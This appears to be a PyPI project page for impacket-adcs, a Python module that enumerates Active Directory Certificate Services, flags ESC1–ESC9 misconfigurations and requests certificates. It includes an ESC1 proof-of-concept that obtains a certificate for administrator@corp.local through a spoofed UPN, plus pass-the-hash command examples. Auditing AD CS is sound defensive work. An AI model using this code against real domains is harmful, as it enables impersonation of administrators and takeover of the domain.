Active Directory Certificate Services (AD CS) enumeration, vulnerability analysis, and certificate request module for Impacket
Project description
impacket-adcs
Active Directory Certificate Services (AD CS) enumeration, analysis, and certificate request module for the Impacket ecosystem.
Overview
This module provides:
- LDAP-based enumeration of CA enrollment services and certificate templates
- Vulnerability analysis covering ESC1–ESC9 classes (SpecterOps "Certified Pre-Owned")
- Certificate request engine via MS-ICPR RPC and HTTP Web Enrollment
- Structured reporting in text, Markdown, and JSON formats
- Clean Python API following Impacket's module conventions
Installation
pip install impacket-adcs
# or from source:
git clone https://github.com/MrHarshvardhan/impacket-adcs
cd impacket-adcs
pip install -e ".[dev]"
Quick Start
Command-line
# Password auth
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01.corp.local
# NTLM hash
python examples/adcs_enum.py corp.local/jdoe@dc01 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# Kerberos (reads from KRB5CCNAME)
python examples/adcs_enum.py corp.local/jdoe@dc01 -k -no-pass
# Output to Markdown report
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01 -output report -format markdown
# Show only vulnerable objects
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01 -vuln-only
# JSON output (pipe to jq)
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01 -format json | jq .findings
Python API
from impacket.ldap import ldap
from impacket_adcs import ADCSEnumerator, ADCSAnalyzer, ADCSReporter
# 1. Authenticate
conn = ldap.LDAPConnection('ldap://dc01.corp.local', 'dc=corp,dc=local')
conn.login('jdoe', 'Password1', 'corp.local')
# 2. Enumerate
enumerator = ADCSEnumerator(conn, 'corp.local')
snapshot = enumerator.enumerate()
# 3. Analyze
analyzer = ADCSAnalyzer()
analyzer.analyze(snapshot)
# 4. Report
reporter = ADCSReporter(snapshot)
print(reporter.to_text())
reporter.save('adcs_findings.md', fmt='markdown')
reporter.save('adcs_findings.json', fmt='json')
Certificate Request (ESC1 PoC)
from impacket.dcerpc.v5 import transport, icpr
from impacket_adcs import CertificateRequester
# Set up RPC transport
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:DC01[\pipe\cert]')
rpctransport.set_credentials('jdoe', 'Password1', 'corp.local')
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(icpr.MSRPC_UUID_ICPR)
# Request cert with spoofed UPN (ESC1)
requester = CertificateRequester(dce_connection=dce)
key_pem, cert_pem = requester.request_certificate(
ca_name='corp-DC01-CA',
template='VulnerableTemplate',
subject='CN=jdoe',
san_upn='administrator@corp.local', # ESC1: arbitrary UPN
)
with open('admin.key', 'wb') as f: f.write(key_pem)
with open('admin.crt', 'wb') as f: f.write(cert_pem)
print("[+] Certificate issued for administrator@corp.local")
Vulnerability Coverage
| Class | Description | Severity |
|---|---|---|
| ESC1 | Enrollee-supplied SAN + auth EKU + low enroll rights | CRITICAL |
| ESC2 | Any Purpose EKU or no EKU | HIGH |
| ESC3 | Enrollment Agent template accessible to low-priv users | HIGH |
| ESC4 | Template ACL grants write to low-priv principal | HIGH |
| ESC6 | CA allows user-specified SAN (EDITF_ATTRIBUTESUBJECTALTNAME2) | CRITICAL |
| ESC7 | CA ACL grants ManageCA/ManageCertificates to low-priv users | HIGH |
| ESC8 | HTTP Web Enrollment endpoint vulnerable to NTLM relay | HIGH |
| ESC9 | Certificate lacks NTDS CA Security Extension | MEDIUM |
ESC5, ESC10, ESC11, and ESC13 are not yet implemented (contributions welcome).
Architecture
impacket_adcs/
├── __init__.py # Public API surface
├── constants.py # OIDs, bitmasks, LDAP attribute names
├── structures.py # Dataclasses: CertificateTemplate, CertificateAuthority, etc.
├── enumerator.py # LDAP-based discovery (ADCSEnumerator)
├── analyzer.py # ESC vulnerability detection (ADCSAnalyzer)
├── requester.py # Certificate enrollment via RPC/HTTP (CertificateRequester)
└── reporter.py # Text/Markdown/JSON output (ADCSReporter)
examples/
└── adcs_enum.py # CLI entry point
tests/
└── test_analyzer.py # Unit tests (pytest, no AD required)
Running Tests
pip install pytest
python -m pytest tests/ -v
All tests are offline — no Active Directory connection required.
Protocol References
- [MS-WCCE]: Windows Client Certificate Enrollment Protocol
- [MS-ICPR]: ICertPassage Remote Protocol
- [MS-ADTS]: Active Directory Technical Specification, section 3.1.1.5 (PKI objects)
- [MS-CRTD]: Certificate Templates Structure, sections 2.27–2.28
- RFC 5280: Internet X.509 PKI Certificate and CRL Profile
- SpecterOps "Certified Pre-Owned" (Schroeder & Christensen, 2021)
Relationship to Existing Tools
This module complements rather than replaces existing tools:
| Tool | Language | Protocol | This module's advantage |
|---|---|---|---|
| Certipy | Python | LDAP+RPC | Impacket-native integration |
| Certify | C# (.NET) | LDAP+DCOM | Pure Python, no .NET |
| PSPKIAudit | PowerShell | ADCS API | Remote, no PS execution |
Contributing
Contributions welcome. Priority areas:
- ESC5, ESC10, ESC11, ESC13 detection
- Full CMC request wrapping for ESC3 (PKCS#7 SignedData)
- SID-to-name resolution via LDAP
- LDAPS support
- Kerberos PKINIT post-exploitation module (separate PR)
Please follow Impacket's contribution guidelines and include tests for all new ESC checks.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file impacket_adcs-0.1.0.tar.gz.
File metadata
- Download URL: impacket_adcs-0.1.0.tar.gz
- Upload date:
- Size: 34.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
2e6805b04f17a85a9b4a91b8bff308c2f45e798e43c08d7c1e2a83aee5981684
|
|
| MD5 |
deb8383e4544a84b79346a73a45b7fb8
|
|
| BLAKE2b-256 |
7aa5c5298c92f7ab65fe4336b6d566e9c4279a5bc054fbb68b50794e3618b5a2
|
File details
Details for the file impacket_adcs-0.1.0-py3-none-any.whl.
File metadata
- Download URL: impacket_adcs-0.1.0-py3-none-any.whl
- Upload date:
- Size: 32.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
4ac2c3f7c5813550e8dde4529425b36637d9b644b2e6d9454e90d63946042209
|
|
| MD5 |
43088be1fb474347fe83e2bbf35ab0a6
|
|
| BLAKE2b-256 |
0ea886bb3db01a1698cd67cca84b55cb92f7ee19300d6901a98f172bfaa0d30f
|